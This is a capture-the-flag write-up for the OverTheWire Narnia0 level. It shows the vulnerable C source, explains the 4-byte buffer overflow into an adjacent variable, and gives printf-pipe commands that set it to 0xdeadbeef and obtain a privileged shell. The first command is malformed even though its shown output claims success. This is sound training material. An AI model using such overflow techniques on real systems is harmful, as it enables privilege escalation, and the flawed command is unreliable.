Solution for Narnia0: OverTheWire
Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <stdio.h>
#include <stdlib.h>
int main(){
long val=0x41414141;
char buf[20];
printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
printf("Here is your chance: ");
scanf("%24s",&buf);
printf("buf: %s\n",buf);
printf("val: 0x%08x\n",val);
if(val==0xdeadbeef){
setreuid(geteuid(),geteuid());
system("/bin/sh");
}
else {
printf("WAY OFF!!!!\n");
exit(1);
}
return 0;
}
Behaviour of this code
Initalize a variable of 4 bytes named val with value 0x41414141 and define a buffer of 20 bytes named buf.
Write 24 bytes to buf. If val has the value 0xdeadbeef, then escalate priviliege to that of narnia1 and spawn a shell.
Otherwise exit the program with error.
Vulnerability
** Key Information **
val: 4 bytes
buf: 20 bytes
scanf(): write 24 bytes into buf.
On line number 10, the scanf function takes in 24 bytes into buf. However, buf is only 20 bytes. The remaining 4 bytes overflow and ovewrite the subsequent variable, val.
Exploitation
- Fill
bufwith 20 bytes of characters. - Fill the rest with
0xefbeadde(Little Endian).
$ printf "%020x""\xefbeadde" | /narnia/narnia0
Result:
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: 00000000000000000000ᆳ�
val: 0xdeadbeef
We changed val to 0xdeadbeef successfully. However, the shell did not spawn. This is because we need to read from the standard input. we use cat to do this.
$ (printf "%020x\xef\xbe\xad\xde"; cat) | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: 00000000000000000000ᆳ�
val: 0xdeadbeef
whoami
narnia1
Done.